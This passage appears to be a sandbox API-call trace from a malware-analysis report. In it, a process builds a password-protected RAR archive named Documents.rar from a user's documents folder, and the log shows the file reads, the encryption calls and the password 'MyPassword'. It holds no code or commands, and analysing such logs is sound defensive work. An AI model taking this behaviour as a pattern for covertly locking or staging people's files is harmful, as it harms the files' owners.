[0068.721] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.721] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.721] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.721] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="wIOu8U.xlsx") returned 11 [0068.721] SetWindowTextW (hWnd=0x10280, lpString="wnB9v0ottRO9k3_.pptx") returned 1 [0068.722] GetTickCount () returned 0xa67773 [0068.722] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.722] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.722] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.722] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.722] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x14a)) [0068.722] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.722] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14406256401) returned 1 [0068.722] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x56ab, lpOverlapped=0x0) returned 1 [0068.723] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a56eb, nNumberOfBytesToRead=0xfa955, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a56eb*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.723] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39db40 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.723] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39daf0 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65680 | out: hHeap=0x2e0000) returned 1 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65650 | out: hHeap=0x2e0000) returned 1 [0068.723] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39db40 [0068.723] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.726] GetTickCount () returned 0xa67773 [0068.726] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14406618597) returned 1 [0068.726] GetTickCount () returned 0xa67773 [0068.726] GetTickCount () returned 0xa67773 [0068.726] GetTickCount () returned 0xa67773 [0068.726] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.726] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.726] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.726] ResetEvent (hEvent=0x1a4) returned 1 [0068.726] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.727] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.727] ResetEvent (hEvent=0x1a4) returned 1 [0068.727] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.728] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] GetTickCount () returned 0xa67773 [0068.729] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14406894660) returned 1 [0068.729] GetTickCount () returned 0xa67773 [0068.729] GetTickCount () returned 0xa67773 [0068.729] GetTickCount () returned 0xa67773 [0068.729] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.729] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.729] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.729] ResetEvent (hEvent=0x190) returned 1 [0068.729] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.729] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.729] ResetEvent (hEvent=0x190) returned 1 [0068.729] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.730] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.730] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.730] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x32bbc2 [0068.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x32bc2a [0068.730] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.730] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.730] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.730] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.730] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x56f0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x56f0, lpOverlapped=0x0) returned 1 [0068.730] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.730] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=3324866, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x32bbc2 [0068.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x32bbc2 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.731] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39daf0 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.731] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39db40 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65680 | out: hHeap=0x2e0000) returned 1 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65650 | out: hHeap=0x2e0000) returned 1 [0068.731] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39daf0 [0068.731] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.731] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x68, lpOverlapped=0x0) returned 1 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x68) returned 0x3b64d00 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x33131a [0068.731] CloseHandle (hObject=0x1b0) returned 1 [0068.731] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.731] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.731] GetFocus () returned 0x0 [0068.731] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.731] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.731] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.731] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.731] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.731] FindFirstFileW (in: lpFileName="WPnyp7euOOTod.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.731] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.731] CreateFileW (lpFileName="WPnyp7euOOTod.docx" (normalized: "c:\\users\\whuoxysd\\documents\\wpnyp7euootod.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.731] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.732] GetTickCount () returned 0xa67783 [0068.732] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.732] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.733] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.733] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.733] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="wnB9v0ottRO9k3_.pptx") returned 20 [0068.733] SetWindowTextW (hWnd=0x10280, lpString="WPnyp7euOOTod.docx") returned 1 [0068.733] GetTickCount () returned 0xa67783 [0068.733] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.733] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.734] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.734] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.734] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x156)) [0068.734] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.734] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14407429887) returned 1 [0068.734] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xfe9d, lpOverlapped=0x0) returned 1 [0068.735] ReadFile (in: hFile=0x1b0, lpBuffer=0x36afedd, nNumberOfBytesToRead=0xf0163, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36afedd*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.735] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.735] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.735] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39db40 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.735] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39daf0 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656b0 | out: hHeap=0x2e0000) returned 1 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65680 | out: hHeap=0x2e0000) returned 1 [0068.735] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39db40 [0068.735] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.735] GetTickCount () returned 0xa67783 [0068.735] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14407590674) returned 1 [0068.736] GetTickCount () returned 0xa67783 [0068.736] GetTickCount () returned 0xa67783 [0068.736] GetTickCount () returned 0xa67783 [0068.736] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.736] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.736] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.737] ResetEvent (hEvent=0x1a4) returned 1 [0068.737] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.739] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.739] ResetEvent (hEvent=0x1a4) returned 1 [0068.739] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.741] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.741] GetTickCount () returned 0xa67783 [0068.741] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14408285303) returned 1 [0068.743] GetTickCount () returned 0xa67783 [0068.743] GetTickCount () returned 0xa67783 [0068.743] GetTickCount () returned 0xa67783 [0068.743] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.743] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.743] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.743] ResetEvent (hEvent=0x190) returned 1 [0068.743] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.743] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.743] ResetEvent (hEvent=0x190) returned 1 [0068.744] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.744] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.744] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.744] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x33131a [0068.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x331380 [0068.744] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.744] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.745] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.745] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.745] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xff10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xff10, lpOverlapped=0x0) returned 1 [0068.746] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.746] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=3347226, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x33131a [0068.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x33131a [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39daf0 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65680, Size=0x48) returned 0x39db40 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65680 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656b0 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b656b0 | out: hHeap=0x2e0000) returned 1 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65680 | out: hHeap=0x2e0000) returned 1 [0068.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65650, Size=0x48) returned 0x39daf0 [0068.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.746] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x66, lpOverlapped=0x0) returned 1 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x66) returned 0x3b64d70 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x341290 [0068.746] CloseHandle (hObject=0x1b0) returned 1 [0068.747] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.747] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.747] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.747] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.747] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\2d1Kv.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.747] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.747] CreateFileW (lpFileName="XRS5ksD\\8quW\\2d1Kv.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\8quw\\2d1kv.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.747] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.747] GetTickCount () returned 0xa67783 [0068.747] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.747] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.747] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.747] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.747] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="WPnyp7euOOTod.docx") returned 18 [0068.747] SetWindowTextW (hWnd=0x10280, lpString="2d1Kv.xlsx") returned 1 [0068.747] GetTickCount () returned 0xa67783 [0068.747] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.747] CryptAcquireContextW 